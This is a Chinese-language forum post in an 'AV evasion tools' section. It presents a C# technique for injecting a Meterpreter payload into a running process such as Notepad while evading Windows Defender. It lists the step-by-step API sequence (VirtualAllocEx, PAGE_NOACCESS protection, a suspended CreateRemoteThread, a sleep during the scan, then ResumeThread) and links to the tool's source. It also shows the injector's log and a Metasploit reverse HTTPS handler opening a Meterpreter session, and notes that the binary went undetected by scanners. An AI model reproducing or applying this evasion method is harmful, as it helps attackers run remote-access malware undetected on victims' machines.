DecoyMini 技术交流社区

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 4227|回复: 0

[免杀技术] [免杀工具] 另一种使用 C# 的 Meterpreter 注入技术

[复制链接]

172

主题

34

回帖

30

荣誉

Rank: 9Rank: 9Rank: 9

UID
2
积分
339
精华
1
沃币
2 枚
注册时间
2021-6-24

论坛管理

发表于 2021-10-13 10:33:20 | 显示全部楼层 |阅读模式
一、挂起线程注入

另一种使用 C# 的 Meterpreter 注入技术,试图绕过 Defender。

工具源代码:https://github.com/plackyhacker/SuspendedThreadInjection

二、介绍

此代码是在阅读 F-Secure Labs 的 Bypassing Windows Defender Runtime Scanning 后编写的。此代码与它有点不同,但它让我思考如何将 Meterpreter 注入远程进程并在 Defender 下进行。

该技术非常简单:

  • 使用 OpenProcess 打开远程进程
  • 解密内存中的 Meterpreter Payload
  • 使用 VirtualAllocEx 在远程进程中分配一些内存,确保分配正确的权限来写入内存
  • 使用 WriteProcessMemory 将 Payload 写入到分配的内存中
  • 使用 VirtualProtectEx 保护内存,将保护设置为 PAGE_NOACCESS
  • 使用 CreateRemoteThread 创建一个新的挂起线程
  • 在 Defender 扫描远程进程内存以查找恶意代码时休眠 10 秒
  • 使用 VirtualProtectEx 更改对内存的保护,将保护设置为 PAGE_EXECUTE_READ_WRITE
  • 使用 ResumeThread 恢复远程线程

看起来,使用 PAGE_NOACCESS 包含 Meterpreter shellcode 来保护页面似乎没有被 Defender 扫描,也没有被检测到。通过在创建时挂起线程,可以将 shellcode“保存”在内存中,直到 Defender 完成对它的扫描,然后在 Defender 完成时执行 shellcode。

三、重要

请记住,该代码查找要注入的记事本实例,更改它是微不足道的,甚至可以生成要注入的代理进程。

四、例子

代码的执行如下所示:

  1. [+] OpenProcess with PID 49416.
  2. [+] VirtualAllocEx (PAGE_EXECUTE_READ_WRITE) on 0x2C4.
  3. [+] WriteProcessMemory to 0x247A8CE0000.
  4. [+] VirtualProtectEx (PAGE_NOACCESS) on 0x247A8CE0000.
  5. [+] CreateRemoteThread (suspended) to 0x247A8CE0000.
  6. [+] Sleeping whilst Defender scans the remote process.
  7. [+] VirtualProtectEx (PAGE_EXECUTE_READ_WRITE) on 0x247A8CE0000.
  8. [+] Resume thread 0x368.
复制代码

meterpreter shell:

  1. msf6 exploit(multi/handler) >
  2. Started HTTPS reverse handler on https[:]//192.168.1.228:443
  3. https[:]//192.168.1.228:443 handling request from 192.168.1.142; (UUID: lsezjczd) Staging x64 payload (201308 bytes) ...
  4. Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:60433) at 2021-10-07 08:32:00 +0100
复制代码


五、AV 扫描结果

二进制文件是在 2021 年 7 月 10 日使用 antiscan.me 扫描:



六、额外说明

在 Windows 10 Pro(内部版本 10.0.19042)上使用 windows/x64/meterpreter/reverse_https 及 Defender 进行测试。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|小黑屋|DecoyMini 技术交流社区 ( 京ICP备2021005070号 )

GMT+8, 2024-5-2 20:02 , Processed in 0.059037 second(s), 24 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表